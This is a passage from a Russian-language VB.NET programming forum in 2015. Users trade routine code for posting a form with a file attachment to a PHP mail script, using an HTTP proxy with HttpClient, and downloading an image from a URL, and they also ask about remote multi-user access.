stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_subject"
content.Add(stringContent)

stringContent = New System.Net.Http.StringContent("привет")
stringContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
stringContent.Headers.ContentDisposition.Name = "mail_msg"
content.Add(stringContent)

'файл
Dim fs As New System.IO.FileStream("G:\123.zip", IO.FileMode.Open, IO.FileAccess.Read, IO.FileShare.Inheritable)
Dim streamContent As New System.Net.Http.StreamContent(fs)

streamContent.Headers.ContentType = New System.Net.Http.Headers.MediaTypeHeaderValue("application/octet-stream")
streamContent.Headers.ContentDisposition = New System.Net.Http.Headers.ContentDispositionHeaderValue("form-data")
streamContent.Headers.ContentDisposition.Name = "mail_file"
streamContent.Headers.ContentDisposition.FileName = "123.zip"

content.Add(streamContent)

'отправляем асинхронный запрос
client.PostAsync("http://webege.com/images/22.php", content)


Remote Control
2015-04-02 03:50 rusiko
Привет всем. У меня вопрос на тему удаленного подключения нескольких пользователей к одной машине.Задача такая. Есть десктопное приложение, в котором должны работать пользователи. Программа написана на Visual Basic 2013, а БД на SQL server 2012. В локальной сети все отлично работает, то есть все пользователи (их восемь), могут нормально подключиться и работать с программой, но как быть если какие-то пользователи (к примеру 3 пользователя), хотят одновременно подключиться к программе удаленно. Программа стоит на компьютере с ОС Windows Server 2008R2 X64. Посоветуйте пожалуйста самый простой и оптимальный вариант. То есть нужно чтобы когда подключался какой-то пользователь, другого пользователя не выбрасывало из сеанса. Спасибо заранее. Очень надеюсь на вашу помощь.

RE: Цикл
2015-04-03 02:11 i32
Спасибо за подсказку..Надо все перелопачивать тогда..Проще проект новый....



RE: Проблемма с изменением цвета строк в DataGridView
2015-04-04 00:29 Леонид
Но код-то пока сырой, страниц на 10 как его выложить? просто скопировать? Не вижу где прикрепить файл?

RE: Проблемма с изменением цвета строк в DataGridView
2015-04-04 03:08 Алексей Немиро
Через расширенную форму

RE: Цикл
2015-04-04 17:14 i32
День добрый..А как в таком виде использовать прокси..(если вообще можно)
 Dim Handler As New HttpClientHandler
        Dim proxy As New WebProxy()
        ' Proxy = TextBox2.Text
        Dim urlBuilder As New System.UriBuilder
        Handler.Proxy = proxy
        Handler.UseProxy = True
        'Handler.AutomaticDecompression = DecompressionMethods.GZip Or DecompressionMethods.Deflate
        Dim client As New System.Net.Http.HttpClient(Handler)
        Dim content As New System.Net.Http.MultipartFormDataContent()
        urlBuilder.Host = "172.20.133.199"
        urlBuilder.Port = 3128
Что то - как то гугл не находит..?
Спасибо..

RE: Цикл
2015-04-04 17:33 Алексей Немиро
Dim Handler As New HttpClientHandler With { .Proxy = new WebProxy("http://172.20.133.199:3128", False), .UseProxy = True }


Как сохранить картинку из http?
2015-04-04 21:38 anka_x
Добрый день.
Есть код (позаимствованный когда-то на kbyte.ru, спасибо), который сохраняет превьюшку картинку из asp:FileUpload.
А как сохранить превьюшку картинки, полученной из url-адреса, например: "http://aleksey.nemiro.ru/upload/images/00021.jpg"? Видимо, надо что-то поменять в строке?
Dim IMG As System.Drawing.Image = System.Drawing.Image.FromStream(frmFileUpload.PostedFile.InputStream)


RE: Цикл
2015-04-04 22:08 i32
Ага .. Вот так пойдет?
 Dim Proxy As String = TextBox2.Text
 Dim Handler As New HttpClientHandler
 Handler.Proxy = New WebProxy(Proxy)
 Handler.UseProxy = True
                Dim client As New System.Net.Http.HttpClient(Handler)
                Dim content As New System.Net.Http.MultipartFormDataContent()
Что б не сплитить проксю.....
А Handler.Proxy = Nothing - такое не катит..?.
Если текст пуст то без прокси..Я просто в первый раз столкнулся ..И загрузил на ХР -эту длл-ку
Через консоль-загрузки..Но правдо только на проект..(Так я понял..)

RE: Как сохранить картинку из http?
2015-04-04 23:05 Алексей Немиро
Проще всего при помощи System.Net.WebClient:

'получаем картинку
Dim data() As Byte = New WebClient().DownloadData("http://aleksey.nemiro.ru/upload/images/00021.jpg")
'помещаем в System.IO.MemoryStream
Dim m As New MemoryStream(data)
'передаем из MemoryStream в Image
Dim img As System.Drawing.Image = System.Drawing.Image.FromStream(m)
'далее можно работать с image обычным образом

Или, если нужен файл, то можно использовать метод DownloadFile:
Dim web As New WebClient()
web.DownloadFile("http://aleksey.nemiro.ru/upload/images/00021.jpg", "C:\00021.jpg")

Если будут проблемы с блокировкой скаченных файлов, то придется использовать вариант с DownloadData, получать массив и сохранять в файл, явно закрывая поток.

RE: Как сохранить картинку из http?
2015-04-05 00:25 anka_x
Спасибо большое, Алексей! Буду экпериментировать. )

WPF 3D Menu
2015-04-05 14:34 Shark1
Простой пример меню с 3D кнопками.

В избранное